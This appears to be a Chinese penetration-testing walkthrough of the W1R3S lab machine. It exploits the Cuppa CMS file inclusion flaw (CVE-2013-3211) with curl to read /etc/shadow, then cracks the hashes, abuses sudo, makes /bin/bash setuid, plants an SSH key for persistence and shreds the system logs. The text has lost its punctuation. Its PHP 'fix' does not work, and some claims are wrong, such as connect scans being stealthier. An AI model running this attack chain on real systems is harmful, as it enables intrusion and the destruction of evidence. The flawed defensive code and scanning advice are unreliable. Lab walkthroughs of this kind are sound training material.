Cuppa CMS 文件包含漏洞 (CVE-2013-3211) 实战:3 步获取 /etc/shadow 并提权
Cuppa CMS 文件包含漏洞深度利用从信息泄露到系统提权实战漏洞背景与靶机环境搭建W1R3S靶机是Vulnhub平台上经典的渗透测试训练环境其核心漏洞在于Cuppa CMS的文件包含缺陷CVE-2013-3211。这个中危漏洞允许攻击者通过构造特殊请求读取服务器上的任意文件甚至执行远程代码。我们先从基础环境配置开始网络拓扑准备建议使用VirtualBox或VMware的NAT模式部署靶机确保攻击机Kali Linux与靶机处于同一网段。通过ip a命令确认攻击机IP后使用以下命令扫描存活主机sudo nmap -sn 192.168.1.0/24靶机识别对比扫描前后的ARP表变化通常靶机会显示为新出现的IP。例如发现192.168.1.138后创建扫描结果目录mkdir nmapscan cd nmapscan提示在企业内网渗透时建议使用--min-rate 1000降低扫描速度避免触发安全设备的告警阈值。多维度信息收集策略端口与服务探测执行全端口扫描并保存结果sudo nmap -sT --min-rate 5000 -p- 192.168.1.138 -oA full_ports关键参数解析-sT完整TCP连接扫描比默认SYN扫描更隐蔽--min-rate控制发包速率防止被封锁-oA同时输出三种格式的扫描报告提取开放端口并执行深度服务识别ports$(grep open full_ports.nmap | awk -F/ {print $1} | paste -sd ,) sudo nmap -sV -sC -O -p$ports 192.168.1.138 -oA service_scan典型扫描结果分析端口服务版本潜在风险点21FTPvsftpd 3.0.3匿名登录可能80HTTPApache 2.4.38Web应用漏洞3306MySQL5.7.27-0ubuntu0.18.04.1弱密码/注入漏洞Web应用指纹识别使用Gobuster进行目录爆破sudo gobuster dir -u http://192.168.1.138 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,txt,html -o web_scan.log关键发现/administratorCuppa CMS后台管理入口/javascript可能存在敏感配置文件/wordpress疑似存在但无法直接访问漏洞利用链构建第一阶段FTP信息收集通过匿名登录获取初始信息ftp 192.168.1.138 Username: anonymous Password: [直接回车]关键操作流程使用binary模式切换传输类型执行prompt关闭交互提示通过mget *批量下载文件分析获取的文本文件发现employee-names.txt包含可能的用户名列表worktodo.txt存在疑似Base64编码的字符串加密哈希值可通过hash-identifier识别为MD5第二阶段Cuppa CMS漏洞利用通过Searchsploit查找公开漏洞searchsploit cuppa下载漏洞说明文件searchsploit -m 25971漏洞利用核心步骤确认漏洞文件位置/administrator/alerts/alertConfigField.php分析请求方式POST传递urlConfig参数构造文件包含Payloadcurl --data-urlencode urlConfig../../../../../../../../../etc/passwd \ http://192.168.1.138/administrator/alerts/alertConfigField.php关键技巧使用--data-urlencode自动处理路径特殊字符通过../穿越目录时需要尝试不同层数通常7-10层读取/etc/shadow获取密码哈希curl -s --data-urlencode urlConfig../../../../../../../../../etc/shadow \ http://192.168.1.138/administrator/alerts/alertConfigField.php | grep \$6\$权限提升与系统控制密码破解与SSH登录使用John破解哈希john --wordlist/usr/share/wordlists/rockyou.txt shadow_hashes成功破解后通过SSH连接ssh w1r3s192.168.1.138 Password: computerSudo权限滥用检查sudo配置sudo -l典型输出User w1r3s may run the following commands on W1R3S: (ALL : ALL) ALL直接获取root权限sudo su -或通过脚本方式echo chmod s /bin/bash /tmp/exploit.sh chmod x /tmp/exploit.sh sudo /tmp/exploit.sh /bin/bash -p后渗透操作查看敏感文件cat /root/flag.txt建立持久化访问echo ssh-rsa AAAAB3N... ~/.ssh/authorized_keys清理日志痕迹find /var/log -type f -exec shred -zu {} \;防御建议与修复方案针对企业安全防护的实践建议代码层防护// 修复文件包含漏洞示例 $allowed_paths [/var/www/cms/templates/]; if(!in_array(realpath($_POST[urlConfig]), $allowed_paths)) { die(Invalid file path); }系统加固措施禁用不必要的PHP函数open_basedir /var/www定期更新CMS补丁配置Web服务器禁止访问敏感目录监控与响应# 监控异常文件访问 auditctl -w /etc/passwd -p war -k sensitive_files这种从单一漏洞出发逐步深入系统核心的渗透过程展现了现代Web应用安全中纵深防御理念的重要性。每个防御环节的失效都可能成为攻击链突破的关键点。